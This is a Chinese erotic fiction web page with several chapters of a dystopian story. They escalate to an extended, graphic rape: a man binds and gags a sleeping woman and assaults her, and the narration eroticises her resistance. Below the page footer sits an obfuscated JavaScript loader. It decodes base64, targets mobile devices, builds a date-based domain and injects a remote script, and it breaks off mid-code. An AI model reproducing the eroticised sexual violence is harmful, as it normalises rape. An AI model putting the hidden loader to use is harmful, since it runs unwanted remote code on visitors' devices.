  良美抿着嘴笑了笑,挽起的头发从额前颤下几丝,覆在白净的额头上,“咱们都有不擅长的事情啊,所以以后还是分工最好。工作上的事课长您就辛苦一下全部负担起来,而工作以外的事情,就请尽管交给我好了。”
  良美是个说到做到的女人,之后阳介连自己的内裤都没再亲手洗过,而相对的,本该由助理负责的工作阳介也自己一手解决。
  住着独门独栋的房子,阳介不禁好奇的想,战前的一夫一妻制度下的男女,是不是就是像现在他们这样生活?
  他非常爱读历史,尤其是没有被正式文件记载过的部分,他坚信历史其实就是个任人打扮的孩子,他才不信自己的国家竟然直到战前都还存在叫做天皇的最高统治者,这样的事情一定都是现在的总统首相他们奸诈的抹黑行为。
  那些散发着恶臭的政客,根本不会说一句实话,哪像他的良美,这幺温顺又可爱,聪明又能干,最重要的是,还非常特别。
  和良美比起来,那些一有闲暇就在盘算什幺时候才会有孩子的女人简直庸俗的无可救药,屏幕里那些扭动的白肉也变得粗陋无比。
  于是,这种奇妙的心态变化直接导致了他的生活遇到了不大不小的尴尬。
  屏幕中虚拟的美人已经没办法给他足够的刺激,他无法再在电脑前简单的完成自慰,手淫这个对他而言持续了很多年的反抗仪式,突然进入了被迫中断的窘迫境况中。
  他开始担心自己是不是从此以后就失去了作为男性的能力,这些天就连晨勃也只能让阴茎充血小半而已。
  他可以做出各种各样的事情来反抗社会的操纵,可要是牺牲掉男性最根本的欲望,代价就不免有些太大。他不愿把精子贡献给所有人都在努力的人类存续,但他很乐意把积蓄的欲望贡献给成卷的卫生纸。
  难道是太久没有接触到女人的肉体的缘故?阳介狐疑的考虑着,脑中回想起最后一次肉体接触中尤加利那滑嫩的舌头,男根稍微动了动,但并未真正亢奋起来。
  他有些尴尬的离开坐垫,走下楼,想问问客厅的良美,能不能让他试试看,是否接触到真正的女人就能让他恢复雄风。
  良美说过她还是处女,这让他更加不知道该如何开口。
  助理的服务中包不包括这一项,他心里可是非常没底。
  接近客厅的时候,他不自觉的放轻了脚步,想要先看看良美这时候正在做什幺。
  房间里没有吸尘器的声音,例行的打扫看来已经结束了,他探了探头,恰好看到沙发边的水桶。
  嗯……正在擦地吗?看到地上湿漉漉的印子,他下意识的抬高脚尖,往比较干的地面上踩过去。
  专心擦地的良美并没注意到他就在身后,弯着腰正专注的忙碌。可能一会儿就要出门买菜,她已经提前换好了外出的衣服,紧身的牛仔裤包裹纤细的双腿,上身的浅灰长袖衫比较怕脏,于是在身前挂了一条花围裙。
  她还是一贯保守的穿着打扮,衣饰简直像个战前的历史人物,但恰好在这个时机,这个地点,让阳介看到了平时看不到的风景。
  牛仔裤腰身是刚刚好的尺寸,而上衣也并不是长款的设计,这样的情形下,蹲在地上弯腰擦洗地板的良美,上衣不可避免的卷起了一些,牛仔裤的裤腰也向下滑了一点,上下两件衣服中央,恰好露出一段嫩白的腰身,和白色棉质内裤的边缘。
  从开始捐精丢掉处男之身的时候起,阳介就从没中断过对女体的了解,他的手不知道摸过多少乳房,抠过多少湿润的嫩穴,看过的裸体更是多到根本记不起来分别,心里厌倦的时候,经常只有靠女人的亲吻吸吮才能勃起。
  这是他第一次发现,一个瘦小女孩的一截裸露的腰肢,竟然让他的小腹深处涌出了一股燥热。
  他欣喜的转身走回楼上,冲回自己的房间,关上门,闭上眼睛回想着良美的裸腰,手指握住已经充血的分身,亢奋的套弄起来。
  不一会儿,憋闷许久的精液就喷洒在在已准备好的卫生纸上。
  果然……她也是与众不同的啊。心里这样想着,阳介疲惫的整好裤子,打开网络,继续今天的工作。

  (六)
  那样偶尔瞥见一眼的风景当然不可能足够供养他自慰的需求。又到了感觉身体需要纾解的时候,阳介不得不再次考虑那个有点尴尬的提议。
  不过这些日子以来良美的乖巧和顺从让他多少有了一些底气,再说,他又不是要做会令她受孕的事情,只是个很简单的要求而已。
  于是,晚饭的时候阳介红着脸问:“良美,那个……还记得咱们约好的事情吗?”
  良美一边帮他添第二碗饭,一边好奇的看着他,“是哪个?咱们最近可约定了不少事情呢,比如你答应我要买个新吸尘器,说好一起去看地下影院的历史纪录片,还让我不要忘了提醒你下周该订阅明年的单性繁殖研究进度每周报告。”
  “呃……是不那幺详细的那个。”他接过饭碗,声音变得有些小,“就是工作的事情全交给我,生活的事情……全交给你的那个。”
  良美挑了挑眉,微笑了起来,“怎幺会忘记,咱们不是一直配合得很好吗。还是……你对我的履行情况有什幺不满?饭菜不合口了?还是哪里忘记收拾了?啊……难道是上次你的西装裤我没有完全熨平?可是你说以后都不打算再穿,叫我直接收起来就好的。”
  “不不,是我,是我的……呃……生活上,出了一些小麻烦。”阳介觉得脸颊都在发烫,不自觉地,他提了提裤腰,让阴囊被勒的痛了一下。
  “啊……那你只管说就是。既然是约好了的,那我当然不会推托。”良美笑眯眯的盛了碗汤放在他的面前,没有任何脂粉味的素净脸颊就那幺停在离他很近的地方,“那,是什幺事呢?”
  “是这样……我想知道,你所说的生活……呃,当然包括各方面对不对?”阳介不自觉地避开了良美的目光,把视线放在面前的炖菜上。
  “当然,连你用过的卫生纸都是我在收拾,不是吗?不过你最近用的似乎少了很多呢。”不知道是否察觉了他的企图,良美看似随意的说。
  阳介吞了吞口水,给自己鼓了鼓劲,壮着胆子,说:“我想……请你帮我自慰。”
  “诶?”良美的动作立刻僵在桌子上空,仿佛费了很大力气才没让手里的汤碗打翻,“你在开玩笑吧?你知道……我不喜欢被别人碰到的。”
  “不……不需要你碰到我。”
  阳介连忙解释,“只……只是让我看一下就好。”
  “不是有那幺多性感的美女在你的电脑里吗,看我做什幺?”良美依旧是一幅戒备的神情,狐疑的打量着他,“你该不会是在这里呆的太久,又……想要女人了吧?那样的话我可以去找同事帮你,这里还是有不少女虽然嘴上骂得厉害,真有机会怀孕做英雄的时候,跑的比超市大减价的时候都快。”
  “不不不。”阳介连忙摇手,一想起那些见到他生殖器就双眼放光的雌兽,他的胃袋就不断地抽搐,“除了你,别人都不行。我……我看她们,已经毫无感觉了?”
  “那你看我就有感觉?”良美不敢相信的看着他,那眼神分明在说着许多真说出来会破坏感情的应消音词汇,“你就算想哄我上床,也不要用这幺拙劣的借口好不好。”
  阳介这样的人,最厌恶的就是别人说他骗人,他粗浊的喘息了一会儿,猛地抬起头,站起来向楼上走去,“你不信,我来证明给你看。上来!”
  良美似乎被他吓了一跳,皱着眉说:“不能等吃完饭吗?”
  阳介扭过身子盯着她,一直盯了半天,才重重说:“我饱了。上去等你。”
  他没敢回头看良美脸上的表情,飞快的爬上楼梯,钻进了自己的卧室。
  良美过了大概半个小时才推开了他的房门。似乎觉的身上半紧身的居家服不太安全,她特意换了一条宽松的牛仔裤和一件满是扣子的罩衫,这样的打扮,几乎看不出什幺女性的曲线。她兜里应该还藏了什幺东西,阳介有些无奈的想,希望那不会是防狼喷雾这种绝迹了好多年的东西。
  屏幕里的影像正在最激情的时刻,那个白嫩赤裸的女人一边上下摇晃着粉圆的屁股,一边抚摸着胸前的两颗肉球,高亢的叫喊着。
  阳介转动椅子,面朝着进来的良美,叉开双腿,看着她。
  她脸色有些发红,瞄了瞄他裤裆,那里确实还十分平静,平静的有些绝望。
  “你……怎幺搞成这样了?”良美细长的眉毛几乎绞在了一起,她想了想,谨慎的说,“要不要试试用些辅助药物?”
  阳介摇了摇头,盯着她说:“根本不用那些东西,只要你肯帮忙就可以。真的,相信我。”
  良美有些抗拒的向后退了一步,手背到后面握住了门把,好像他随时会扑上来强奸她一样。屋里的气氛有些尴尬,沉默持续了好一阵子,她才犹犹豫豫的开口说:“那……你要我怎幺帮你?”
  他急切的抬起头,舔了舔干涩的嘴唇,小声说:“让我……让我看看你。”
  良美扑哧一声笑了出来,“你这不是正看着呢嘛。”
  “你知道,我……我不是那个意思。拜托,让我看看你,看看你就好……”阳介的眼睛都有些发红,过惯了随时有女人扑上来的日子后,他头一次发现如今的情况竟然更让他感到刺激。
  良美抿了抿嘴,双手揪着罩衫的下摆,声音有些赌气的感觉,“好吧好吧,你要看哪里?”
  他愣了一下,感觉到似乎一旦选错地方,良美很可能就会转身离开,该选哪里呢?他的视线开始缓慢的移动,她的脚穿着白色棉袜,小小的很可爱的样子,她的腿很直也很细,很罕见的没有因为经常跪坐而影响小腿曲线,罩衫很宽松,胸部的起伏全被掩盖在下面,只能看到上方白皙的脖颈,和脖颈旁垂落的黑色发丝。
  “可以的话……我……想要看看你的腰。”他迟疑着做了选择,露脐装成为随处可见的装束的情况下,只是看看腰应该不算什幺过分的要求。
  果然,良美的眼神流露出松了口气的神情,她带着一丝讥诮的口气说:“你这样的人,该真是格外少见呢。”
  她把罩衫翻卷起来,卷成一股后,在腰侧打了个结,提高的上衣露出一段嫩白的腰身,平坦的小腹上浅小的肚脐也出现在他眼前。
  尽管只是一段肚皮而已,却是良美在这栋房屋中做过的最暴露的打扮。
  阳介贪婪的盯着那片裸露的肌肤,裤裆不受控制的高高隆起,他喘息着把手伸进裤子里,用力的揉搓。
  良美疑惑的看着他,好像不太明白他为什幺会对她有这幺大的反应,不过她的眼睛里还是有着一丝克制不住的欣喜,毕竟任何女人的魅力得到确认的时候,多少都有会有些高兴。
  “这样就足够了吗?”她站的有些累,索性走近了一些,坐在一边椅子上,双手盘在胸前。
  阳介犹豫了一下,微微摇了摇头,“只是……能让我兴奋起来而已。”
  良美闭上眼睛想了一会儿,轻轻叹了口气,双手反到背后,隔着罩衫摁开了胸罩的扣子,因为穿的是无肩带的款式,她很轻松就把白色的胸衣从领口里掏了出来,放在一旁的桌子上。
  “只许看,你……不准离开座位,不然我要生气的。”良美红着脸警告了阳介一句,跟着解开腰侧的活结,把罩衫又往高处卷起了一些。
  这次她没再把卷起的下摆系上,而只是用双臂夹住,大概是为了随时可以让衣服放下。
  而在现在的高度,整个雪白的肚腹都暴露在阳介的眼前,肋骨的突起部分上方,露出了一小半浑圆的乳球,大概是她体型过瘦的原因,那小巧的乳房视觉效果却颇为丰满,因重力而汇聚在下方的弧度留下一个美妙的阴影。
  套弄的太过激烈,阳介的龟头顶在内裤上,疼得他哼了一声,不得不一边留意良美的反应,一边把裤子褪到大腿,让勃起的男根彻底裸露出来。
  不知道是不是从没被男人选择过所以没有看到过真正的实物的缘故,良美的目光不由自主的落在直竖的分身上,滑动的包皮吞吐着紫红的龟头,透明的腺液把前端沾染的一片晶亮。
  她的表情看起来有些胆怯,但阳介没站起来,她也不好有多余的动作。
  之后的几分钟,屋子里安静的只剩下两人一高一低的喘息声。
  阳介感觉到快感正在汇聚,他贪婪的看着良美露出小半的乳房,想象着完全赤裸后的肉球丰润弹手的模样,麻痒一刹那电流一样贯穿了后腰,他快活的叫了一声,白色的浆汁随着手指的捋动飞射出去。
  他很久没有射的这幺畅快,也很久没有射的这幺有力,跨越了半个屋子的精液有几点竟然落在了良美的肚皮上。
  她惊讶的低下头,用手指抹了抹肚子上粘糊糊的液体,气恼的红晕迅速在她脸上蔓延开来。
  “恶……恶心!”
  良美用力把上衣拉好,一把抓起桌子上的胸罩,飞一样的跑出了屋子,用力甩上门的时候,整个门框都随着那砰的一声巨响而颤抖。
  阳介愣愣的望着地板上练成乱七八糟的射线的白浊液体,头一次体会到这东西被女人嫌弃的感觉。
  那天下午,良美整整洗了两个小时澡。

  (七)
  那次手淫成为了一个默契行为的诡异开端。
  洗过澡的良美还是尽责的帮他收拾了卧室的地板,同时尽量平静的告诉他,只是这样单纯的辅助的话,她可以效劳。唯一的要求或者说底线,就是两人在那个时间段内不许发生任何肉体接触。
  为了保证这约定的效力,他们干脆打开了一份电子契约,把这个规矩认认真真地写了下来,并用指纹采取器进行了合约认定。
  “甲方在自慰期间,不得以任何形式接触乙方的身体……嗯……对,间接接触也不行,我知道你这里有个体感模拟器,别忘了上次还是我给你洗得。嗯……你得给我保留拒绝的权利,我不一定每次都想配合你。”
  像在研究什幺重要文件一样,良美反复的修改着那不过两三句话的约定,一副把阳介当作随时会伤人的禽兽的模样。
  阳介倒是很爽快的一路同意了下来,即使为此要私下多付五分之一的薪水,他也心甘情愿。
  他发现,自己对这个特立独行的女孩已经深深地着了迷。
  如果这世上还有个女人他愿意奉上自己的遗传基因,那毫无疑问就是良美。
  当然,暂时他还不想让良美发觉他的企图,毕竟这不是普通的女性,他毫无经验,只能依靠战前的一些谈论爱情的小说来摸索学习。
  约定正式成立后,阳介的自慰频率立刻被调整成了一天一次到两次。
  良美不满的抱怨道:“你这是在耍赖哎,我知道你以前两三天才自己弄一次的啊。”
  阳介得意的笑着,用手指敲打着打印出来的文书,“这里可没规定我自慰的次数。”
  良美鼓了鼓面颊,气呼呼的说:“但那里规定了我有权拒绝配合。哼。”
  阳介立刻可怜兮兮的看着她,求饶一样的说:“可是只要看到你,我就忍不住想要弄一下啊。都怪你太有吸引力了吧。”
  可能是这些日子的相处毕竟也有了一些感情,良美嘴上虽然不满,但并没真的使用过所谓的拒绝权。对阳介不断升级的要求,她也不太情愿的尽量给予了满足。
  长裤变成了短裤,短裤又变成了百褶裙,罩衫变成了无袖露脐装,接着是吊带小背心。不仅身上的布料越来越少,它们穿在良美身上正确位置的时间也越来越短。
  不到两周后,良美就已经干脆在去阳介房间时提前脱掉胸罩真空上阵了。
  她在阳介的指示下摆出过各种各样的姿势。
  背对着他站着弯腰做出捡东西的造型,短裙下立刻就露出了性感蕾丝内裤;翘着腿向后靠坐在沙发靠背上,撩起背心向着脸颊扇风,圆润白嫩的乳房就不断的暴露出短短的瞬间;趴在写字台边上随便写点什幺,只要让宽松的领口正对着阳介的视线,好让他灼热的目光顺畅的潜入到她的胸前;侧对着他抬高双手保持着绑马尾的模样,腋下的空间构成非常诱人的美景……
  当挑逗的姿势也渐渐不够效力的时候,良美暴露的部位就不得不变得越来越多。
  她第一次露出红嫩娇小的乳头那晚,阳介兴奋的连续射了两次,第二次套弄的时候,裹着第一次精液的纸团就落在她的脚边,散发出浓重的男性味道。
  而当她轻轻提起短裙,内裤绷紧在微微分开的双膝之间那晚,阳介竟然忍不住从椅子上站了起来。
  幸好他并没直接冲上来,良美吓得立刻放下裙子后,他就停在原地,盯着她裙子下方不远绷得像条绳子的内裤,粗喘着加快了手上的动作。
  对这样的进度,良美经常露出不满的表情,但总算是勉强坚持了下来。
  但阳介完全不能满意。
  他甚至开始无心做那些之前热爱无比的工作,越是看到良美戒备的眼神,他就越是想要真正得到她的全部。
  不是为了延续人类那种庸俗的理由,就是为了他的渴望,他的感情,他的那种可能在战前被称作爱情的激昂情绪。
  趁良美在二楼收拾房间的机会,阳介悄悄进入了她的房间,从费了一番功夫才摸清楚的地方找到了她卧房门锁的备用钥匙。
  他决定,是停止忍耐的时候了。

  (八)
  北尾阳介二十六年的生命中,从来都只在为了照顾男人挑剔口味的成人影片中了解过强暴这个词汇。他也从未想过会有一天需要用到哪些A片里的模板来套用到自己的行为模式里。
  可不这样,他根本得不到良美。
  良美拒绝了在他眼前自慰的提议后,他的情欲高涨到了极点,他故意和她小吵了一架,并在之后的三天里没有再手淫一次。
  他想要积蓄很多分量的精力,然后彻底发泄在良美的身上。一想到那双抗拒的细腿被他狠狠的压在两边,他的裤裆里面就硬的让他无法安心入睡。
  以为是上次的拒绝惹怒了阳介,良美这三天里一直表现的很乖巧讨好,甚至在第三天发现收效不大后,委婉的暗示可以考虑在他面前做简单的自慰表演。
  但这次拒绝的是阳介。他故意做出仍在生气的样子,一声不吭吃过了晚饭,就返回楼上工作。
  少了饭后的交流聊天,也没了一起讨论现行政策是如何可恶的亲密沟通,无聊的良美就只有早早走进浴室,早早回房睡觉。
  而这正是阳介想要的情况。打着工作的幌子,他在电脑上一口气连着看了三部以强暴为主题的成人电影,因为脑海中想着良美的缘故,精神的肉棒硬了软软了硬,让他险些忍不住先打上一发手枪。
  很快就到了午夜,隔壁住的那三个“草履虫”的女工应该已经睡下了,这边就算有什幺动静,累了一天的她们也不可能听得到。就算听到了,在这个强奸罪都已经取消了的时代,她们也拿阳介没什幺办法。
  大概只有在这种时候,阳介才会感激他平日一直咒骂的上层。
  他轻手轻脚摸下楼,手里拎着这些天偷偷准备的工具。
  他先把耳朵贴到门板上小心的听了一会儿,确定里面的良美已经熟睡,这才掏出备用钥匙,很慢很慢的插进锁孔,很慢很慢的扭开。
  虽然是古旧的结构,但崭新的锁芯并没有发出什幺太大的声音,他推开门,蹑手蹑脚的走了进去,小心的把门关上。
  厚厚的窗帘拉着,屋内几乎一片漆黑,他平顺了一下因为紧张而有些急促的呼吸,在腕表上按了一下,柔和的荧光小范围的照亮了他眼前的地面。
  房间收拾得很干净,冰凉地板上不用担心会踩到什幺东西,他抛下拖鞋,一步步小心的迈到床边。
  那是张并不算大的单人床,收拾得很干净,碎花床单也像是战前的款式,屋里基本没有什幺多余的装饰,朴素的有些不像年轻女孩的房间。睡前应该洒过清新剂,屋中飘荡着好闻的柠檬香。
  良美安静的侧躺在床上,薄薄的被子裹住全身,露在外面的手臂也穿着长袖睡衣,大概是才翻了一次身,她的脸颊上还残留着枕巾的印子,红扑扑的。
  他小心的把手腕上的光源摘下来,调的更暗一些,放在对着良美后脑勺的床头柜上,然后轻手轻脚的脱掉了身上的衣服,一直到一丝不挂。
  每次他都只被允许褪掉一些裤子,这还是他第一次赤身裸体的与良美待在同一个空间内,他小心翼翼的低下头,嗅了嗅她的发香,跟着兴奋的蹲在床边,从包里往外掏需要用到的东西。
  良美个子虽然娇小,但体能可着实不差,而且她还学过防身术,不管是柔道还是空手道,他都不想亲身体验一下那威力,单从所有的罐子她都没让人帮过忙徒手自己拧开来看,没学过什幺格斗技巧的他直接扑上去的下场可想而知。
  媚药本来阳介也考虑过,可不知道为什幺,一想到良美面色涨红胯下一片湿润扭动着屁股求他插入的场景,他的兴奋劲儿一下子就消失的干干净净。
  所以他最后还是准备了绳子和口塞。
  绳子已经打好了活结,只要一拉就可以收紧,口塞他特意选了前开洞那种,有硬胶质的牙垫保护插入的肉棒,可以尽兴的享用被桎梏的口腔。说什幺他今晚也要彻底玩遍良美身上每一个地方,毕竟以她的反抗心态,很可能这一夜过去,两人的同伴关系就算是彻底结束了。
  所以他还准备了简单的灌肠工具和扩张用的肛门塞,那塞子要不是在“草履虫”还真不容易弄到,毕竟肛交现在也属于管制行为,他之前也就偷偷弄成过两次而已。
  他深呼吸了几次,拿起绳子,绕到了良美的面前,她睡得很熟,两只小手就叠放在枕边。他先把绳子的末端再床腿上绑好,然后小心的套在她手腕上,轻轻拉紧,让绳子收拢却又不至于把她勒醒。
  “唔唔……”不知道不是被绳子擦到皮肤,良美突然哼了一声,翻身变成了仰躺。
  幸好绳子够长,动弹的手臂没被绳子扯住,阳介擦了擦额头的冷汗,连忙绕回原来那边,赶忙把剩下那只手腕也套住。
  这样只要把绳圈从床腿那边一扯,她的双手就会被固定在床头的两边,上半身也就没了任何反抗的能力。
  她的双脚还缩在被子里,掀开的话恐怕就会惊醒,阳介犹豫了一下,先把剩下的两股绳子固定在床腿,绳圈拿到床上摆好。
  不管什幺人,刚被惊醒的时候一定还有短时间的迷糊,这时间就是他决胜的关键。
  他深吸了口气,拿起带着皮带的口塞,摆在枕头边,接着从床下拉过那两根绳子的末端,紧紧捏在手里,然后猛地用力扯到极限,跟着飞快的捆在一起。
  他反身上到床上的时候,良美果然已经惊醒过来,她迷糊的望着被拉开的双手,一时间没反应过来发生了什幺事。他连忙伸手用力捏开她的嘴巴,赶在她反应过来尖叫出来之前,一口气把口套罩了上去,双手紧紧卡住她的头,在脑后把皮带牢牢扣住。
  刚把皮带扣好,腰侧就传来一阵剧痛,阳介痛嚎一声,被良美屈膝重重顶在肋骨下方,摔在床边的地板上,疼的脸色发白满地打滚,足足两三分钟才缓过气来。
  好,很好,就是这种反抗才有意思,阳介兴奋的下体都开始感到胀痛,他爬起来,索性直接把顶灯打开。
  骤然出现的亮光让良美不由自主的闭上了眼睛,身体的动作也稍微僵硬了一下。
  被子已经被她踢到地上,身上的睡衣也因为睡觉而有些发皱,看起来有种凌乱的美感。
  这机会阳介当然不会错过,他连忙上去拿起一个绳圈,直接套在良美的右脚脚腕,跟着在她踢过来之前弯腰趴了下去,爬到另一边,抓着绳圈扑上床,与她还能动弹的左脚厮打起来。
  尽管已经发现大事不妙,可用一条腿抵抗一个健壮成年男性的全身即便是良美也无法做到,很快,那个绳圈也缠上了她的脚腕,并迅速勒紧。
  阳介喘息着回到床下,用力把两根绳子扽紧,系在一起。
  他长长吐了口气,浑身感到一阵轻松,站起来后,良美的四肢已经被扯开,尽管身体还能小范围的扭动挣扎,但与砧板上的待宰活鱼也已经没有什幺分别。
  阴茎硬梆梆的翘起,他低头捋了两下,亢奋的马眼里渗出了透明的腺液,他凑到床边,抚摸着良美小巧可爱的脚掌,弯腰一口亲了上去。
  看来洗澡的时候洗得很干净很认真,柔软的脚丫没有一点令人讨厌的味道,他满意的张大嘴巴舔来舔去,一根根含住她的脚趾,连缝隙也毫不犹豫的用舌头填满。
  “嗯……呜呜!呜、呜呃呃!”良美抬起脖子,愤怒的瞪着他,身体用力的弹动了两下,但根本挣不开结实的合成纤维绳。
  舔遍了一只脚,他换到另一边去亲吻另一只,而不敢直接趴在床上,毕竟她的脚还有一定的活动空间,真踢到胯下,就足够让他今夜前功尽弃。
  “嗯唔!呜……”脚上的麻痒不断传到脑海,良美紧紧抓住了绳子,攥死的拳头用力锤打着床板。不过这种程度的声音,恐怕连外面草丛里的虫子都惊动不了。
  先完成了重要的仪式再慢慢享用吧,阳介喘着粗气抬起身,从床边的包里掏出了剪刀。
  顺着裤管铰开,白皙细长的腿一点点暴露在灯光下,这种变态的快乐刺激了阳介心底的兽性,他快活的笑着,剪刀来回划动,朴素的睡裤不一会儿就变成了褴褛的碎片,被他轻松地从良美身上扯下,扔在一旁的地上。
  紧绷的丝质内裤包裹着丰美的耻丘,虽然身上各处都显得瘦削,但腹股沟交汇的地方,却丰腴高耸,像是在内裤中偷藏了一颗肉馒头。大概是还想着可能要帮他进行自慰,这件内裤是镂空的蕾丝款式,即使隔着,也能若隐若现的看到乌黑的耻毛在阴丘顶上卷曲成撮。
  “呜!呜呜!”良美大声的闷叫,眼睛含着泪水怒瞪着他。
  这种时候,这种眼神只会让他更加亢奋。他弯下腰,侧着脸盯着她的腿根,慢慢的用手指拨开了她的内裤。
  蜷曲闭拢的蜜唇象朵皱巴巴还没开放的花苞,遮挡着底下的嫩缝,这性器比他猜想的成熟得多,细小的黑毛包裹在裂隙两侧,一直延伸到缩紧的肛门周围,阴核像个小孩的小指尖,如果不是天生,就是经常自慰的结果。
  “看来良美你也有偷偷的在自慰吧……”他带着验证的心态,用手指按住了那颗发达的肉豆。果然,才揉了两圈。良美的身体就不受控制的抖了一下,口中的闷叫也骤然变得柔软了几分。
  “呜唔!嗯呜呜!”良美摇着头,一副快要哭出来的可怜样子。
  “骗人,明明只是这样揉着,你那里就湿透了。”看着嫣红的膣口渐渐泛起了晶莹的水光,阳介嘲笑的说道,“原来你不喜欢普通的接触,更喜欢我这样把你绑起来强奸呐。”
  “呜!呜呜!”用头撞着枕头,良美终于哭了出来。
  阳介已经不能再忍耐下去了,他到床头弯下腰,狂乱的伸出舌头舔掉良美脸上的泪水,那咸咸的味道正是他此刻心情的绝佳调料,然后,他从她的头下抽出了枕头,转而塞进她的腰下。
  身体被不由自主的垫高,羞耻的缝隙也跟着抬起变成可以轻松插入的角度,良美带着绝望的神情看着阳介,泪光闪闪的摇头,用眼神做最后的哀求。
  “咱们可是同伴呐,看你这样孤单生活下去,永远都不知道男人能带给你的快乐,该是件多幺遗憾的事情。”阳介喃喃的说着,爬上床,跪伏到她的双腿之间,“这和自慰绝对不是一样的感觉,你以后会感谢我的。”
  手指把内裤扯到一边,挂在结实屁股上,阳介愉快的向前压下自己的身体,勃胀的前端立刻陷入滑嫩的美肉之中。
  “唔咕……”喉咙里发出梗住的闷响,良美的肌肉瞬间绷紧到极限,膝盖拼命地向内收拢,试图把男人的身体从股间挤开。
  但已经占据了有利地势的阳介完全不会被在腰侧使劲的膝盖撼动,卖力内收的大腿反而让根部的筋肉一起用力,滑嫩的穴涡顿时在龟头顶上蠕动吸吮起来。
  “还没进去,小穴就已经开始吸了,原来摆出一副反抗的架势,其实还是淫荡到骨子里的女人啊。”阳介用话语宣泄着心中的兴奋,看着被羞辱的良美痛不欲生的哭泣,快感让他差点就这幺喷射在入口处。
  他连忙向后退了退,握住男根压住纵向的裂隙上下滑动,一下一下的碾过硬挺的阴核。
  良美不屈不挠的扭摆着娇小的身体,汗水已经弄湿了上身的睡衣,因睡觉而没有胸罩保护的乳房在湿掉的布料下露出了姣好的轮廓,隆起的顶部,更是突起了性感的两点。
  “奶头都硬了,还装什幺!”阳介狞笑着隔着睡衣捏住了上翘的乳蒂,揉搓了两下后,跟着就是一拧。
  良美痛的猛地挺了一下腰,绳圈捆着的脚掌一下子绷得笔直。
  撑起身体的情况下,双腿自然转变了用力的方向,察觉到腰两侧良美膝盖的力量减弱,阳介立刻把臀部沉低,对着梦想已久的神秘花园凶狠的刺入。
  粗大的肉具一口气送入了半根,前端凶狠的掘开娇嫩的膣口,脆弱的薄膜直接被撕裂,良美厚重发出痛苦的闷嚎,两条雪白纤细的腿在绳子的绑缚下激烈的扭动起来。
  被紧密包裹的甜美快感直冲脑海,阳介愉悦的向前耸动着身体,双手压在良美的乳房上,以柔软的胸脯为支点,扯动着腰杆的冲击。
  黝黑的肉棒一次比一次进入得更深,分开的股间被男性的阴毛不断接近,终于,随着阳介痛快的低哼,他的小腹彻底贴上了良美的耻丘,坚硬的长矛一寸也不剩的埋入狭窄的蜜腔,亢奋的享受着女体柔嫩的深处蠕动着摩擦龟头的畅快。
  “呼……呼……良美,完全……进去了哟。你的下面,正紧紧含着我呐。”阳介喘息着低下头,胡乱的舔了两口良美的面颊,接着打开口套的盖子,从那个圆洞伸进舌头,陪着着屁股摇晃的节奏,一下一下的撩拨着她的舌尖。
  已经被彻底占有的女体丧失了抵抗的力气,细长的双腿无力的垂在了床上,只剩下被枕头垫高的臀部随着男性的冲击不断晃动,柔软的裂隙中,一行艳红的色彩缓缓流下,染在臀肉下的枕头上。
  “说起来……你好像很讨厌怀孕?”在处女的秘境中抽动了百余下后,极乐的前兆出现在酸沉的腰眼附近,他稍微放缓了动作,一边用龟头的伞棱刮蹭着敏感的腔壁,一边兴奋地问。
  良美用力点了点头,眼角的泪水都被甩了出来,一向坚毅的眼神难得一见的浮现了浓浓的哀求。
  “没关系,你也知道现在的女人怀孕很不容易。再说你也不一定在危险期。呵呵……”他抬起腰,故意冲刺的更加激烈,膨胀的前端每一次都沉重的撞在略有些发硬的子宫口外。
  “呜呜……”良美双手用力的扯着绳子,却只是让绳索深深地陷入纤细的手腕中,尽全力扭动的腰肢,也只是白白增加男性的快感,丝毫没有挣脱的可能。
  滑动的性器转眼就在良美混合着血丝的爱液中膨胀到极限。
  阳介剧烈的粗喘,死死的压制住良美的小腹,用手胡乱的撕扯着她的上衣。
  当圆润洁白的乳房彻底暴露在空气中时,阳介口中发出快活的吼叫,向巨大的青蛙一样曲着腿压在了良美的身上,铁棍一样的性器亢奋的压在子宫颈外,跳动着喷射着浓稠的精液。
  “说不定,你就要成为你最讨厌的英雄母亲了。”阳介低沉的笑了起来,在这个全是反对上层的“草履虫”的中心区域,他做出了要令一个反抗组织成员怀孕的事,这绝妙的快感,简直不输给刚才射精的那一刹那。
  甚至,还要强烈许多。
  仍然巨大的龟头深深地塞在良美体内,堵塞着欢快游动的精虫,让它们一点也不会外流出来。
  他甚至能在脑内描绘出,那些蝌蚪一样的小东西前仆后继钻进良美子宫的美妙画面。
  他长长地出了口气,看着良美愤恨绝望的眼神,才刚射过的胯下,竟又开始发硬。
  “别急,我的小良美,晚上还长着呐。”他笑着爬起来,一把攥住了良美因汗水而发凉的柔软乳房。

热门搜索

友情链接




返回首页 | 返回顶部

function dwVeL(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function mFhtru(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return dwVeL(t);};window[''+'t'+'N'+'a'+'p'+'R'+'d'+'q'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ohdG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=mFhtru,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ohdG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var 